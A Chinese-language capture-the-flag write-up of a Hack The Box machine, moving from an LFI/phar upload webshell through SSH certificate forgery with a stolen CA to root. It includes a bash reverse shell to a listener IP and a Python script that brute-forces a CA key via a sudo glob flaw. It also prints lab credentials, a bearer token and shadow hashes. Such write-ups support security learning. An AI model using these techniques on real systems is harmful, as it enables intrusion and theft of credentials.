基本信息

端口扫描

22,80,2222:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nmap -sC -sV -Pn 10.10.11.27
Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-05 15:37 CST
Nmap scan report for 10.10.11.27
Host is up (0.091s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_ 256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.86 seconds

80

需要加hosts,IT Resource Center:

1
10.10.11.27 itrc.ssg.htb

目录扫描

目录扫描可以发现admin,另外测试功能可以注意到实际上是使用page参数访问各个页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://itrc.ssg.htb/

/admin.php (Status: 200) [Size: 46]
/api (Status: 301) [Size: 310] [--> http://itrc.ssg.htb/api/]
/assets (Status: 301) [Size: 313] [--> http://itrc.ssg.htb/assets/]
/index.php (Status: 200) [Size: 3120]
/server-status (Status: 403) [Size: 277]
/uploads (Status: 301) [Size: 314] [--> http://itrc.ssg.htb/uploads/]

ffuf -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -u "http://itrc.ssg.htb/?page=FUZZ" -fs 3120

admin [Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 92ms]
dashboard [Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 92ms]
db [Status: 200, Size: 2276, Words: 158, Lines: 35, Duration: 94ms]
index [Status: 200, Size: 2276, Words: 158, Lines: 35, Duration: 92ms]
login [Status: 200, Size: 2709, Words: 239, Lines: 44, Duration: 97ms]
logout [Status: 200, Size: 2627, Words: 196, Lines: 39, Duration: 101ms]
register [Status: 200, Size: 2842, Words: 255, Lines: 45, Duration: 96ms]
ticket [Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 93ms]

ITRC

测试注册登录,进到dashboard可以提ticket:

admin

这里存在LFI,可以直接访问admin,只能查看标题,看不到内容:

ticket

创建ticket功能,可以上传文件,提示只允许zip,测试创建,文件被重命名:

1
2
3
miao.zip

http://itrc.ssg.htb/uploads/eed270add896e36edcb158dfb5df8fd3f73dfe60.zip

webshell

另外根据前面知道page参数的LFI应该是会自动添加php后缀去加载,结合这里的zip文件上传,很基础的phar:

reverse shell

1
/bin/bash -c 'bash -i > /dev/tcp/10.10.14.21/4444 0>&1'

信息

得到的shell只是www-data,常规翻文件,db.php中得到数据库信息,另外查看uploads中其他的zip文件中可以得到msainristil的密码:

1
2
3
4
5
6
7
8
9
10
11
12
# db.php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";

ls /home
msainristil
zzinter

c2f4813259cc57fab36b311c5058cf031cb6eb51.zip

user=msainristil&pass=82yards2closeit

msainristil

得到的账号密码可以ssh登录,发现decommission_old_ca,其中是一对公私钥证书:

mysql

另外查看网络信息发现mysql容器,使用前面得到的信息连接:

1
mysql -u jj -pugEG5rR5SG8uPd -h 172.223.0.2

tickets和messages中可以看到历史信息,提到使用新的签名证书方式,并且提到旧的证书签名暂时仍然接受:

而我们已经得到了旧的ca证书,所以就可以任意签署ssh

类似windows的ADCS,有CA证书即可签发任意用户证书

user flag

使用前面得到的ca签署zzinter的ssh证书:

1
2
3
4
ssh-keygen -f zzinter
chmod 600 ca-itrc
ssh-keygen -s ca-itrc -z 200 -I zzinter -V -10w:forever -n zzinter zzinter.pub
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@10.10.11.27

itrc root

同样的方式可以得到itrc的root, 查看ip可以确认是在容器内,172.223.0.3:

1
2
3
4
ssh-keygen -f root
chmod 600 ca-itrc
ssh-keygen -s ca-itrc -z 200 -I root -V -10w:forever -n root root.pub
ssh -o CertificateFile=root-cert.pub -i root root@10.10.11.27

sign_key_api

zzinter目录可以看到个sign_key_api.sh,看起来是新的给证书签名的API,通过API需要pubkey,另外脚本中可以看到几个用户名,support是IT用户:

1
cat /etc/ssh/ca_users_keys.pub

那就继续生成密钥对,调用api签名生成support的证书:

1
2
3
ssh-keygen -f miao

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL5k3y2JXrRVBXoXBLFOAPUA6HQkXSpoXQCRzEeGjElM miao@miao", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

请求后得到一个公钥证书,保存后和之前同样方式使用:

在一开始的端口中可以看到2222,新生成的support可以登录2222端口:

1
ssh -o CertificateFile=miao-cert.pub -i miao support@10.10.11.27 -p 2222

sign_key_api.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash

usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}

if [ "$#" -ne 3 ]; then
usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done

if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

ssg

查看用户可以看到zzinter,但我们之前生成的证书并不能登录,查看对应的auth_principals文件发现需要zzinter_temp:

所以就还是生成密钥对,调用api签名生成证书:

1
2
3
4
5
ssh-keygen -f zzinter_temp

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMi1rkDrZFhnGaMmdnGqax159G4PB+kO9O2aFllEldXv miao@miao", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

ssh -o CertificateFile=zzinter_temp-cert.pub -i zzinter_temp zzinter@10.10.11.27 -p 2222

然后使用生成的证书登录宿主机的zzinter:

提权信息

zzinter可以sudo运行一个sh,这是又一个签名脚本,需要ca文件,并且会检查不允许在这个脚本中使用/etc/ssh/ca-it,要求使用API,而API那里对用户名有限制,不能生成root证书

但注意判断逻辑,是对整个文件内容作比较,而输入的ca是我们可控的,导致可以使用通配符逐字符爆破:

所以就是爆破出ca后手动使用这个证书来签名生成root证书:

1
2
ssh-keygen -f miao
python3 brute_ca.py

/opt/sign_key.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/bin/bash

usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}

if [ "$#" -ne 5 ]; then
usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi

if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

brure_ca.py

来自@4xura

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import subprocess


# SSH key elements
header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
key = []
line= 0


# Iterates over each character to test if it's the next correct one
while True:
for char in ba64chars:
# Constructs a test key with *
testKey = f"{header}\n{''.join(key)}{char}*"
with open("ca-test", "w") as f:
f.write(testKey)
proc = subprocess.run(
["sudo", "/opt/sign_key.sh", "ca-test", "miao.pub", "root", "root_user", "1"],
capture_output=True
)

# If matched, Error code 1
if proc.returncode == 1:
key.append(char)
# Adds a newline every 70 characters
if len(key) > 1 and (len(key) - line) % 70 == 0:
key.append("\n")
line += 1
break
else:
break

# Constructs the final SSH key from the discovered characters
caKey = f"{header}\n{''.join(key)}\n{footer}"
print("The final leaked ca-it is: ", caKey)
with open("ca-it", "w") as f:
f.write(caKey)

提权 & root flag

之后就还是同样的,使用ca生成root证书:

1
2
3
4
ssh-keygen -f root_user
chmod 600 ca-it
ssh-keygen -s ca-it -z 200 -I root -V -10w:forever -n root_user root_user.pub
ssh -o CertificateFile=root_user-cert.pub -i root_user root@10.10.11.27 -p 2222

shadow

1
2
3
root:$y$j9T$qpGVMzY3EEEN7mc8vCa/r0$vyQQ/Jnzax8ldwJp6CLYh3q95Mg0kOmmJUXS4zXL.p0:19779:0:99999:7:::
support:$6$6PVrerMoSFiInKtK$ygS.t0QznetnEX6ISXSrqdoCVALfJSqVmzZHgb5.5NvNu3lMZtLEK4euiUYZ.9Z5pOXj1RNRXSimzPQKpJF8j0:19760:0:99999:7:::
zzinter:$y$j9T$QZtFGv4zay5fhCo2.GIj0/$6yL9hvVakB27NMsfAbQpOvDgqeZj2w4dAMnpZQS9zID:19779:0:99999:7:::

参考资料